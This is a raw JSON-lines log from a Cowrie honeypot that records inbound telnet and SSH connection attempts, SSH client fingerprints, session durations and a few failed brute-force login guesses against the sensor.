{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":56970,"dst_ip":"159.203.135.109","dst_port":23,"session":"78ca5538f79a","protocol":"telnet","message":"New connection: 69.6.225.50:56970 (159.203.135.109:23) [session: 78ca5538f79a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:33.770120Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":56982,"dst_ip":"159.203.135.109","dst_port":23,"session":"f632aeecc6de","protocol":"telnet","message":"New connection: 69.6.225.50:56982 (159.203.135.109:23) [session: f632aeecc6de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:34.047174Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":58734,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fd9ad750e9e","protocol":"telnet","message":"New connection: 144.79.218.12:58734 (10.17.0.5:23) [session: 2fd9ad750e9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:34.148305Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":56994,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3e505f70f91","protocol":"telnet","message":"New connection: 69.6.225.50:56994 (159.203.135.109:23) [session: c3e505f70f91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:34.367766Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57008,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cfc15f3c67a","protocol":"telnet","message":"New connection: 69.6.225.50:57008 (159.203.135.109:23) [session: 4cfc15f3c67a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:34.394949Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":40244,"dst_ip":"159.203.135.109","dst_port":23,"session":"da132f3a4482","protocol":"telnet","message":"New connection: 185.15.23.59:40244 (159.203.135.109:23) [session: da132f3a4482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:34.643799Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":58746,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ae7e392d55b","protocol":"telnet","message":"New connection: 144.79.218.12:58746 (10.17.0.5:23) [session: 4ae7e392d55b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:34.815423Z"}
{"eventid":"cowrie.session.closed","duration":30.376888275146484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:35.056139Z","src_ip":"69.6.225.50","session":"bfd70187f0e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.20115113258362,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:35.208262Z","src_ip":"144.79.218.12","session":"304a2eeaab6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.870711088180542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:35.213569Z","src_ip":"69.6.225.50","session":"1eaae5250256","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.789955854415894,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:35.394418Z","src_ip":"69.6.225.50","session":"cd99735f5816","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.647504329681396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:35.413833Z","src_ip":"185.15.23.59","session":"ae808ef788f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":51328,"dst_ip":"159.203.135.109","dst_port":22,"session":"70a1eaeb8caf","protocol":"ssh","message":"New connection: 68.183.236.1:51328 (159.203.135.109:22) [session: 70a1eaeb8caf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:35.812995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:35.818338Z","src_ip":"68.183.236.1","session":"70a1eaeb8caf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:36.060091Z","src_ip":"68.183.236.1","session":"70a1eaeb8caf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.920836448669434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:36.066233Z","src_ip":"69.6.225.50","session":"069df064868a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":44520,"dst_ip":"159.203.135.109","dst_port":23,"session":"053056b90190","protocol":"telnet","message":"New connection: 185.15.23.59:44520 (159.203.135.109:23) [session: 053056b90190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:36.138210Z"}
{"eventid":"cowrie.session.closed","duration":36.78335690498352,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:36.271484Z","src_ip":"144.79.218.12","session":"bd4319ad6665","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":44772,"dst_ip":"159.203.135.109","dst_port":23,"session":"011f948d6fd4","protocol":"telnet","message":"New connection: 185.15.23.59:44772 (159.203.135.109:23) [session: 011f948d6fd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:36.319045Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":44850,"dst_ip":"159.203.135.109","dst_port":23,"session":"379e7a23bf6e","protocol":"telnet","message":"New connection: 185.15.23.59:44850 (159.203.135.109:23) [session: 379e7a23bf6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:36.369212Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57022,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6708cf8bb24","protocol":"telnet","message":"New connection: 69.6.225.50:57022 (159.203.135.109:23) [session: e6708cf8bb24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:36.391006Z"}
{"eventid":"cowrie.session.closed","duration":37.361217737197876,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:36.487017Z","src_ip":"144.79.218.12","session":"7fce7dc7d70a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":45726,"dst_ip":"159.203.135.109","dst_port":23,"session":"137481b9b03b","protocol":"telnet","message":"New connection: 185.15.23.59:45726 (159.203.135.109:23) [session: 137481b9b03b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:36.653744Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57038,"dst_ip":"159.203.135.109","dst_port":23,"session":"35b5e2ad46f0","protocol":"telnet","message":"New connection: 69.6.225.50:57038 (159.203.135.109:23) [session: 35b5e2ad46f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:36.806063Z"}
{"eventid":"cowrie.session.closed","duration":34.84795427322388,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:36.826265Z","src_ip":"144.79.218.12","session":"ba88e56ea968","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.79235315322876,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:36.844014Z","src_ip":"69.6.225.50","session":"76f134578a86","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"password12","message":"login attempt [test/password12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:37.040453Z","src_ip":"68.183.236.1","session":"70a1eaeb8caf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.192824363708496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:37.074142Z","src_ip":"69.6.225.50","session":"1e5fc42edf62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57040,"dst_ip":"159.203.135.109","dst_port":23,"session":"93bf2b163178","protocol":"telnet","message":"New connection: 69.6.225.50:57040 (159.203.135.109:23) [session: 93bf2b163178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:37.306268Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57054,"dst_ip":"159.203.135.109","dst_port":23,"session":"13174cede249","protocol":"telnet","message":"New connection: 69.6.225.50:57054 (159.203.135.109:23) [session: 13174cede249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:37.514058Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":48852,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d38c694806f","protocol":"telnet","message":"New connection: 185.15.23.59:48852 (159.203.135.109:23) [session: 5d38c694806f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:37.783688Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":49118,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bfb7c99545a","protocol":"telnet","message":"New connection: 185.15.23.59:49118 (159.203.135.109:23) [session: 1bfb7c99545a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:37.885302Z"}
{"eventid":"cowrie.session.closed","duration":31.045274019241333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:37.931939Z","src_ip":"69.6.225.50","session":"4fa4a4795097","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":49604,"dst_ip":"159.203.135.109","dst_port":23,"session":"884c9f9f6e57","protocol":"telnet","message":"New connection: 185.15.23.59:49604 (159.203.135.109:23) [session: 884c9f9f6e57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:38.021175Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":58756,"dst_ip":"10.17.0.5","dst_port":23,"session":"b71e17cf288b","protocol":"telnet","message":"New connection: 144.79.218.12:58756 (10.17.0.5:23) [session: b71e17cf288b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:38.188417Z"}
{"eventid":"cowrie.session.closed","duration":30.95215654373169,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:38.260249Z","src_ip":"185.15.23.59","session":"deefe5798128","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:38.284323Z","src_ip":"68.183.236.1","session":"70a1eaeb8caf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.06257343292236,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:38.375704Z","src_ip":"144.79.218.12","session":"2cba2bdf7da4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":50274,"dst_ip":"159.203.135.109","dst_port":23,"session":"409d74158de8","protocol":"telnet","message":"New connection: 185.15.23.59:50274 (159.203.135.109:23) [session: 409d74158de8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:38.389960Z"}
{"eventid":"cowrie.session.closed","duration":30.53234601020813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:38.414056Z","src_ip":"185.15.23.59","session":"c57ed74c01b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":50450,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b6ac1a72ec5","protocol":"telnet","message":"New connection: 185.15.23.59:50450 (159.203.135.109:23) [session: 6b6ac1a72ec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:38.515989Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":58770,"dst_ip":"10.17.0.5","dst_port":23,"session":"17e54628fdb3","protocol":"telnet","message":"New connection: 144.79.218.12:58770 (10.17.0.5:23) [session: 17e54628fdb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:38.529261Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":51376,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c7822f3d442","protocol":"telnet","message":"New connection: 185.15.23.59:51376 (159.203.135.109:23) [session: 9c7822f3d442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:38.754176Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":51396,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ad3ae339c1b","protocol":"telnet","message":"New connection: 185.15.23.59:51396 (159.203.135.109:23) [session: 4ad3ae339c1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:38.764454Z"}
{"eventid":"cowrie.session.closed","duration":31.589868783950806,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:39.032443Z","src_ip":"69.6.225.50","session":"ba3280d5cd79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.029584169387817,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:39.076065Z","src_ip":"69.6.225.50","session":"c59a9a2a945b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":41466,"dst_ip":"159.203.135.109","dst_port":23,"session":"20ce9d1ad811","protocol":"telnet","message":"New connection: 69.6.225.50:41466 (159.203.135.109:23) [session: 20ce9d1ad811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:39.181249Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":52626,"dst_ip":"159.203.135.109","dst_port":23,"session":"fef75c19d91f","protocol":"telnet","message":"New connection: 185.15.23.59:52626 (159.203.135.109:23) [session: fef75c19d91f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:39.185304Z"}
{"eventid":"cowrie.session.closed","duration":30.888195991516113,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:39.332525Z","src_ip":"185.15.23.59","session":"0bf65709642c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":52880,"dst_ip":"159.203.135.109","dst_port":23,"session":"1007c6035e94","protocol":"telnet","message":"New connection: 185.15.23.59:52880 (159.203.135.109:23) [session: 1007c6035e94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:39.356201Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54326,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f4c14707314","protocol":"ssh","message":"New connection: 159.203.92.129:54326 (159.203.135.109:22) [session: 4f4c14707314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:39.669165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:39.672862Z","src_ip":"159.203.92.129","session":"4f4c14707314","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:39.676488Z","src_ip":"159.203.92.129","session":"4f4c14707314","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"albert","password":"123456","message":"login attempt [albert/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:39.686353Z","src_ip":"159.203.92.129","session":"4f4c14707314","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.93011999130249,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:40.059093Z","src_ip":"69.6.225.50","session":"8a4ed1d316fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.747549057006836,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:40.071977Z","src_ip":"69.6.225.50","session":"8b3204ae91e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.57395529747009,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:40.130029Z","src_ip":"144.79.218.12","session":"12a052ac75a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54809284210205,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:40.197214Z","src_ip":"69.6.225.50","session":"ca7f86719950","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":56290,"dst_ip":"159.203.135.109","dst_port":23,"session":"07e17bdb19c8","protocol":"telnet","message":"New connection: 185.15.23.59:56290 (159.203.135.109:23) [session: 07e17bdb19c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:40.610445Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:40.691432Z","src_ip":"159.203.92.129","session":"4f4c14707314","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":57310,"dst_ip":"159.203.135.109","dst_port":23,"session":"1432ce705972","protocol":"telnet","message":"New connection: 185.15.23.59:57310 (159.203.135.109:23) [session: 1432ce705972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:40.931466Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":58072,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ad19c002515","protocol":"telnet","message":"New connection: 185.15.23.59:58072 (159.203.135.109:23) [session: 1ad19c002515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:41.160104Z"}
{"eventid":"cowrie.session.closed","duration":31.115570068359375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:41.190454Z","src_ip":"69.6.225.50","session":"1fb568661b01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":58122,"dst_ip":"159.203.135.109","dst_port":23,"session":"d34c0b3cdf31","protocol":"telnet","message":"New connection: 185.15.23.59:58122 (159.203.135.109:23) [session: d34c0b3cdf31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:41.199201Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":44650,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e622a7883ce","protocol":"telnet","message":"New connection: 144.79.218.12:44650 (10.17.0.5:23) [session: 9e622a7883ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:41.573283Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":60042,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c0ca2f0f4e2","protocol":"telnet","message":"New connection: 185.15.23.59:60042 (159.203.135.109:23) [session: 2c0ca2f0f4e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:41.980181Z"}
{"eventid":"cowrie.session.closed","duration":31.185628414154053,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:42.009080Z","src_ip":"185.15.23.59","session":"c8421783feb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.946074724197388,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:42.162948Z","src_ip":"69.6.225.50","session":"2f7b2b2575a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.155662059783936,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:42.227751Z","src_ip":"69.6.225.50","session":"6a4fbea874a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":44652,"dst_ip":"10.17.0.5","dst_port":23,"session":"f26b1200fa2e","protocol":"telnet","message":"New connection: 144.79.218.12:44652 (10.17.0.5:23) [session: f26b1200fa2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:42.253201Z"}
